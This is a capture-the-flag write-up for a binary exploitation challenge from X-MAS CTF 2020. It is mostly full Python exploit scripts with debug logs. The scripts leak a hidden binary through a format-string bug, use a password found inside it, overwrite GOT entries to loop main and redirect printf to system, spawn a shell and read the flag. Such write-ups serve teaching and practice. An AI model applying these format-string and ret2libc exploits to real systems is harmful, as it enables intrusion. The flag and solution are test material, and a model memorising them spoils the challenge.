Tags: fmtstr pwnscripts waiting_for_sixteen_hours 

Rating:

Santa's Penthouse (Work in Progress) [484]

SOLVED (Osmium Award!)

Bringing happiness and joy is a profitable business. So lucrative that Santa has amassed enough wealth to start bulding a brand new penthouse. Let's hope he finishes it before New Year's.

Target: nc challs.xmas.htsp.ro 2006

Author: PinkiePie1189

Files: chall

pwnscripts assisted greatly in handling the format string exploits here. Try it!

Menu

The binary has 3 options, each of which can only be used once.

  1. Leave a message (leave_message()). This message is piped to printf() in a limited format string bug, where %n writes are banned.
  2. Steal a gift (take_gift()). This takes the contents of the remote file secret and dumps it into heap memory, with its location provided to the user as a %p pointer.
  3. Exit. This calls exit(0).

As far as I'm aware, leave_message() is impossible to exploit. As a result, I choose to leak out the contents of secret with a %s printf() call.

from pwnscripts import *
context.binary = 'santa_penthouse'
def printf(s:bytes):
    r = remote('challs.xmas.htsp.ro', 2006)
    r.sendlineafter('Exit.\n', '1')
    r.sendafter('Santa?\n', s)
    r.recvuntil('message: ')
    return r.recvline()
offset = fsb.find_offset.buffer(printf, 200)

def leakfrom(dist:int):
    r = remote('challs.xmas.htsp.ro', 2006)
    r.sendlineafter('Exit.\n', '2')
    secret = unpack_hex(r.recvline())
    r.sendlineafter('Exit.\n', '1')
    log.info(repr(b'leaking ' + hex(secret+dist).encode() + b' i.e. ' + pack(secret+dist)))
    r.sendlineafter('Santa?\n', fsb.leak.deref_payload(offset, [secret+dist]))
    r.recvuntil('message: ')
    secret_data, = fsb.leak.deref_extractor(r.recvline())
    r.close()
    return secret_data+b'\0'
print(leakfrom(0))

This leads to the disturbing discovery that secret is an entire ELF:

[+] Opening connection to challs.xmas.htsp.ro on port 2006: Done
[*] pwnscripts.fsb.find_offset for buffer: 8
[+] Opening connection to challs.xmas.htsp.ro on port 2006: Done
[*] b'leaking 0x5609f89464c0 i.e. \xc0d\x94\xf8\tV\x00\x00'
[*] Closed connection to challs.xmas.htsp.ro port 2006
b'\x7fELF\x02\x01\x01\x00'

Leaking the entire thing requires a shit ton of time if we're going to do it with printf() alone.

with open('secret', 'r+b') as f:
    written = 0 # replace this if the script terminates halfway for whatever reason
    f.seek(written)
    while 1:
        log.info('leaking from %d' % written)
        try: data = leakfrom(written)
        except EOFError: continue
        written += len(data)
        f.write(data)
        f.flush()

Leaving this program running, I left to do some other challenges. Once the downloaded data matched (around) the size of ./chall, the file was essentially valid for analysis:

$ file secret
secret: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped

secret

$ checksec secret
[*] '/secret'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Unlike the previous binary, stack canaries and PIE are disabled.

In the secret binary, I spy these `strings`:
$ strings secret
...
GumaTurbo123!
Access granted! Filters disabled!
Check out port 14712
...

It looks like GumaTurbo123! is a password for the service at 14712 (I tried putting it as a password for the original service at port 2006 too — no dice). Let's try that.

$ nc challs.xmas.htsp.ro 14712
GumaTurbo123!
Access granted! Filters disabled!
Check out port 14712
%p
0x7ffe39c01c60

Although I've not proven anything yet, this service probably provides an unrestricted printf() call.

The code within secret main() was a little bit broken in transmission, but after patching a few bytes, I'm able to verify that claim:

void main() {
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  fgets(s, 255, stdin);
  if ( memcmp(s, "GumaTurbo123!", 0xFuLL) )
    exit(0);
  puts("Access granted! Filters disabled!");
  puts("Check out port 14712");
  fflush(stdout);
  fgets(s, 255, stdin);
  printf(s);
  exit(0);
}

Since the GOT table is still writable, I made a basic payload to overwrite exit() with main(), forming a loop:

from pwnscripts import *
context.binary = 'secret'
context.binary.symbols['main'] = 0x401176
context.log_level = 'debug'

def printf(s):
    r = remote('challs.xmas.htsp.ro', 14712)
    r.sendline('GumaTurbo123!')
    r.sendafter('14712\n', s)
    return r.recvall()
offset = fsb.find_offset.buffer(printf,50)

r = remote('challs.xmas.htsp.ro', 14712)
def cycle(s, until=None):
    r.sendline('GumaTurbo123!')
    r.sendlineafter('14712\n', s)
    if until is None: return None
    return r.recvuntil(until)
cycle(fmtstr_payload(offset, {context.binary.got['exit']: context.binary.symbols['main']}),b'a')
r.interactive()

This clearly works on testing:

[DEBUG] Received 0x16 bytes:
    b'\n'
    b'Check out port 14712\n'
[DEBUG] Sent 0x41 bytes:
    00000000  25 31 31 38  63 25 31 31  24 6c 6c 6e  25 31 35 35  │%118│c%11│$lln│%15500000010  63 25 31 32  24 68 68 6e  25 34 37 63  25 31 33 24  │c%12│$hhn│%47c│%13$│
    00000020  68 68 6e 61  61 61 61 62  40 40 40 00  00 00 00 00  │hhna│aaab│@@@·│····│
    00000030  41 40 40 00  00 00 00 00  42 40 40 00  00 00 00 00  │A@@·│····│B@@·│····│
    00000040  0a                                                  │·│
    00000041
[DEBUG] Received 0x148 bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000070  20 20 20 20  20 10 20 20  20 20 20 20  20 20 20 20  │    │ ·  │    │    │
    00000080  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000110  d0 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │·   │    │    │    │
    00000120  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    00000130  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 51  │    │    │    │   Q│
    00000140  61 61 61 61  62 40 40 40                            │aaaa│b@@@│
    00000148
[*] Switching to interactive mode
aaab@@@$ GumaTurbo123!
[DEBUG] Sent 0xe bytes:
    b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
    b'Access granted! Filters disabled!'

With infinite printf() abuse available, all we really need to do is to return to libc's system() for the flag.

I started by determining the libc version with the dev branch of pwnscripts + libc-database:

context.libc_database = 'libc-database'
GOT_FUNCS = ['puts','setvbuf']
addr_bytes = fsb.leak.dereference(printf, offset, [context.binary.got[f] for f in GOT_FUNCS])
libc_addrs = dict(zip(GOT_FUNCS,map(lambda b: unpack_bytes(b,6), addr_bytes)))
context.libc = context.libc_database.libc_find(libc_addrs)

This part of the code runs on a second remote connection, and doesn't affect the previous connected remote().

[+] Opening connection to challs.xmas.htsp.ro on port 14712: Done
[DEBUG] Sent 0xe bytes:
    b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
    b'Access granted! Filters disabled!'
[DEBUG] Received 0x16 bytes:
    b'\n'
    b'Check out port 14712\n'
[DEBUG] Sent 0x29 bytes:
    00000000  5e 5e 25 39  24 73 7c 7c  25 31 30 24  73 24 24 00  │^^%9│$s||│%10$│s$$·│
    00000010  19 19 19 19  19 19 19 19  18 40 40 00  00 00 00 00  │····│····│·@@·│····│
    00000020  38 40 40 00  00 00 00 00  0a                        │8@@·│····│·│
    00000029
[+] Receiving all data: Done (18B)
[DEBUG] Received 0x12 bytes:
    00000000  5e 5e a0 1a  2c be 2c 7f  7c 7c d0 23  2c be 2c 7f  │^^··│,·,·│||·#│,·,·│
    00000010  24 24                                               │$$│
    00000012
[*] Closed connection to challs.xmas.htsp.ro port 14712
[*] found libc! id: libc6_2.27-3ubuntu1.3_amd64

I could've probably guessed that libc id from other challenges, but whatever, I have it now.

On the actual original remote(), one cycle() is used to leak libc from the GOT, and another is used to overwrite printf() with libc system() at the GOT. Once that's done, the next cycle will run system() on whatever the input format string is, which I'll set to be "/bin/sh".

puts, = fsb.leak.dereference(lambda s: cycle(s,b'$$'), offset, [context.binary.got['puts']])
context.libc.calc_base('puts', unpack_bytes(puts,6))
cycle(fmtstr_payload(offset, {context.binary.got['printf']: context.libc.symbols['system']}),b'a')
cycle('/bin/sh\0')

r.interactive()
[DEBUG] Sent 0x1a bytes:
    00000000  5e 5e 25 38  24 73 24 24  00 19 19 19  19 19 19 19  │^^%8│$s$$│····│····│
    00000010  18 40 40 00  00 00 00 00  0a 0a                     │·@@·│····│··│
    0000001a
[DEBUG] Received 0xa bytes:
    00000000  5e 5e a0 6a  2a 40 a1 7f  24 24                     │^^·j│*@··│$$│
    0000000a
[DEBUG] Sent 0xe bytes:
    b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
    b'Access granted! Filters disabled!'
[DEBUG] Received 0x16 bytes:
    b'\n'
    b'Check out port 14712\n'
[DEBUG] Sent 0x79 bytes:
    00000000  25 38 30 63  25 31 35 24  6c 6c 6e 25  35 63 25 31  │%80c│%15$│lln%│5c%100000010  36 24 68 68  6e 25 34 32  63 25 31 37  24 68 68 6e  │6$hh│n%42│c%17│$hhn│
    00000020  25 33 34 63  25 31 38 24  68 68 6e 25  31 33 34 63  │%34c│%18$│hhn%│134c│
    00000030  25 31 39 24  68 68 6e 25  32 35 63 25  32 30 24 68  │%19$│hhn%│25c%│20$h│
    00000040  68 6e 61 61  61 61 62 61  20 40 40 00  00 00 00 00  │hnaa│aaba│ @@·│····│
    00000050  21 40 40 00  00 00 00 00  25 40 40 00  00 00 00 00  │!@@·│····│%@@·│····│
    00000060  24 40 40 00  00 00 00 00  22 40 40 00  00 00 00 00  │$@@·│····│"@@·│····│
    00000070  23 40 40 00  00 00 00 00  0a                        │#@@·│····│·│
    00000079
[DEBUG] Received 0x149 bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000040  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 70  │    │    │    │   p│
    00000050  20 20 20 20  d0 20 20 20  20 20 20 20  20 20 20 20  │    │·   │    │    │
    00000060  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    00000070  20 20 20 20  20 20 20 20  20 20 20 20  20 20 51 20  │    │    │    │  Q │
    00000080  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    000000a0  c0 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │·   │    │    │    │
    000000b0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000120  20 20 20 20  20 20 c0 20  20 20 20 20  20 20 20 20  │    │  · │    │    │
    00000130  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 25  │    │    │    │   %│
    00000140  61 61 61 61  62 61 20 40  40                        │aaaa│ba @│@│
    00000149
[DEBUG] Sent 0xe bytes:
    b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
    b'Access granted! Filters disabled!'
[DEBUG] Received 0x16 bytes:
    b'\n'
    b'Check out port 14712\n'
[DEBUG] Sent 0x9 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  0a                        │/bin│/sh·│·│
    00000009
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x2d bytes:
    b'bin\n'
    b'dev\n'
    b'flag.txt\n'
    b'fmt_string\n'
    b'lib\n'
    b'lib64\n'
    b'secret\n'
bin
dev
flag.txt
fmt_string
lib
lib64
secret
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'

That wraps things up.

Flag

X-MAS{1_4m_n07_sl4ck1ng_0ff_1_4m_jus7_w41t1ng_f0r_th3_b1n4ry_t0_b3_l34k3d}

final script if something is broken above idk

from pwnscripts import *
context.binary = 'secret'
context.binary.symbols['main'] = 0x401176   # extremely unfortunate hardcoded value
context.libc_database = 'libc-database'
# pre-remote probing
def printf(s):
    r = remote('challs.xmas.htsp.ro', 14712)
    r.sendline('GumaTurbo123!')
    r.sendafter('14712\n', s)
    return r.recvall()
offset = fsb.find_offset.buffer(printf,50)
GOT_FUNCS = ['puts','setvbuf']
addr_bytes = fsb.leak.dereference(printf, offset, [context.binary.got[f] for f in GOT_FUNCS])
libc_addrs = dict(zip(GOT_FUNCS,map(lambda b: unpack_bytes(b,6), addr_bytes)))
context.libc = context.libc_database.libc_find(libc_addrs)
# loop over main()
r = remote('challs.xmas.htsp.ro', 14712)
def cycle(s, until=None):
    r.sendline('GumaTurbo123!')
    r.sendlineafter('14712\n', s)
    if until is None: return None
    return r.recvuntil(until)
cycle(fmtstr_payload(offset, {context.binary.got['exit']: context.binary.symbols['main']}),b'a')
# return to libc
puts, = fsb.leak.dereference(lambda s: cycle(s,b'$$'), offset, [context.binary.got['puts']])
context.libc.calc_base('puts', unpack_bytes(puts,6))
cycle(fmtstr_payload(offset, {context.binary.got['printf']: context.libc.symbols['system']}),b'a')
cycle('/bin/sh\0')
r.interactive()
Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/X-MASCTF2020/Binary%20Exploitation/santa).